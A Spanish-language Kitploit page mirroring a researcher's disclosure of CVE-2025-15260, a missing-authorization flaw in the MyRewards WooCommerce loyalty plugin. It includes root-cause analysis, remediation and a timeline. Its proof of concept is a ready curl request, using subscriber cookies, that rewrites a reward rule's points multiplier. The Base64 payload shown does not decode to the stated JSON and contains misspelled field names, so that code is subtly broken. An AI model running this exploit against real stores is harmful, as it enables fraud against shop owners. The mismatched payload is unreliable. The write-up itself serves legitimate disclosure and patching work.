Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-15260 — Falta de autorización / Control de acceso roto en el plugin - MyRewards – Loyalty Points and Rewards for WooCommerce | Kitploit
Herramientas/GitHubGitHub/d3kc4rt1/cve-2025-15260
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubd3kc4rt1/cve-2025-15260

CVE-2025-15260

Falta de autorización / Control de acceso roto en el plugin - MyRewards – Loyalty Points and Rewards for WooCommerce

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-15260: Autorización faltante / Control de acceso roto en el Plugin - MyRewards – Puntos de fidelidad y recompensas para WooCommerce

Aviso: Este repositorio se crea solo con fines educativos y divulgación ética. La vulnerabilidad ha sido reportada de forma responsable al proveedor y ha sido parcheada. No utilice esta información para explotar sistemas sin la debida autorización.

Resumen

Se descubrió una vulnerabilidad crítica de Control de Acceso Roto / Escalada de Privilegios en el plugin MyRewards (WooRewards) para WooCommerce (versiones <= 5.6.0). Esta falla permite que cualquier usuario autenticado, incluso aquellos con privilegios mínimos como Suscriptores, omita la autorización y modifique reglas sensibles de recompensas de la tienda.

Al explotar esta vulnerabilidad, un atacante puede inflar su multiplicador de puntos de fidelidad a un valor astronómico (p. ej., 999.999.999.999.999), lo que le permite acumular puntos masivos a partir de una sola compra pequeña y canjearlos por cupones o productos gratuitos, lo que resulta en pérdidas económicas directas para la tienda.

Resumen de la vulnerabilidad

  • ID CVE: CVE-2025-15260
  • Producto: MyRewards de LongwayStudio (Plugin de WooCommerce)
  • Versiones afectadas: <= 5.6.0
  • Tipo de vulnerabilidad: Control de Acceso Roto / Escalada de Privilegios (CWE-284)
  • Privilegios requeridos: Autenticado (Suscriptor o superior)

Análisis técnico detallado y causa raíz

La causa raíz de esta vulnerabilidad radica en la falta de implementación de comprobaciones de Capacidades (Capability Checks) o protección CSRF en endpoints AJAX críticos que manejan modificaciones en la base de datos.

1. Registro AJAX no autorizado: El plugin utiliza una clase controladora genérica (EditlistControler) para gestionar operaciones CRUD. En editlistcontroler.php, registra la acción AJAX editlist mediante el hook wp_ajax_, poniéndola a disposición de TODOS los usuarios autenticados, independientemente de su rol:

root@kitploit:~
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));

2. Ausencia de autorización y validación de nonce: Dentro de los métodos ajax() y accept(), el código procesa solicitudes que cambian el estado (p. ej., put para actualizar, del para eliminar) basándose únicamente en la entrada del usuario. Omite por completo las llamadas a current_user_can() y check_ajax_referer(), lo que significa que no hay verificación de si el usuario tiene derechos de manage_woocommerce.

3. Procesamiento de cargas útiles peligrosas: El endpoint acepta una cadena JSON codificada en Base64 mediante el parámetro line, que se decodifica y se pasa directamente al método EventList::write(), guardando la configuración maliciosa directamente en la base de datos:

root@kitploit:~
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);

Impacto empresarial

  • Pérdida económica: Al manipular el multiplicador de puntos del "Monto del pedido", los actores malintencionados pueden generar puntos de recompensa infinitos y canjearlos por cupones de descuento de alto valor o artículos gratuitos, evadiendo la pasarela de pago del comercio electrónico.
  • Escalada de privilegios: Un cliente estándar (Suscriptor) puede realizar acciones de administración del plugin.
  • Compromiso de la integridad de los datos: Los atacantes pueden alterar, modificar o eliminar reglas de recompensa legítimas existentes, interrumpiendo la lógica de marketing de la tienda.

Prueba de Concepto (PoC)

Los siguientes pasos demuestran cómo un Suscriptor autenticado puede explotar esta falla.

1. Requisitos previos

  • Sitio objetivo que ejecute WooCommerce con MyRewards v5.6.0.
  • Credenciales válidas para una cuenta de nivel subscriber.
  • Un sistema de recompensas preconfigurado (p. ej., regla de ganancia "Gastar dinero"). Nota: El ID de esta regla (p. ej., 101) es secuencial y fácilmente enumerable observando las respuestas de las peticiones AJAX.

2. Carga útil

Queremos actualizar el multiplicador de puntos de la Regla ID 101 a 999,999,999,999,999.

JSON inicial

root@kitploit:~
{
  "post_id":"101",
  "wre_type":"lws_woorewards_events_orderamount",
  "lws_woorewards_events_orderamount_multiplier": "999999999999999"
}

Codificado en Base64 ('valor de line')

root@kitploit:~
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0

3. Ejecutar el ataque

Ejecute la siguiente solicitud CURL como un usuario con pocos privilegios:

root@kitploit:~
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
    -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
    -b '[Subscriber_Cookies_Here]' \
    -d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'

4. Verificación

  • Vista del atacante: El servidor devolverá {"status":1} confirmando la actualización.
  • Vista del administrador: Si un administrador visita la Configuración de Fidelidad, verá que el multiplicador de puntos por pedidos se ha cambiado al valor astronómico inyectado por el atacante.

Remediación

Para corregir este problema, actualice el plugin MyRewards a la última versión parcheada. El proveedor resolvió esto mediante:

  1. Implementar comprobaciones de current_user_can() dentro del controlador AJAX para verificar privilegios administrativos.
  2. Añadir check_ajax_referer() para validar nonces y prevenir la Falsificación de Solicitudes entre Sitios (CSRF).

Cronología

Un breve registro del proceso de divulgación para mostrar que se siguieron estándares éticos:

  • Fecha (2025-12-29): Reportado a Wordfence / Desarrollador.
  • Fecha (2026-02-09): Vulnerabilidad parcheada / Divulgación pública.

Referencias y créditos

  • Base de datos de vulnerabilidades de Wordfence
  • CVE-2025-15260 en NVD
  • Plugin MyRewards en WordPress.org
Descargar herramienta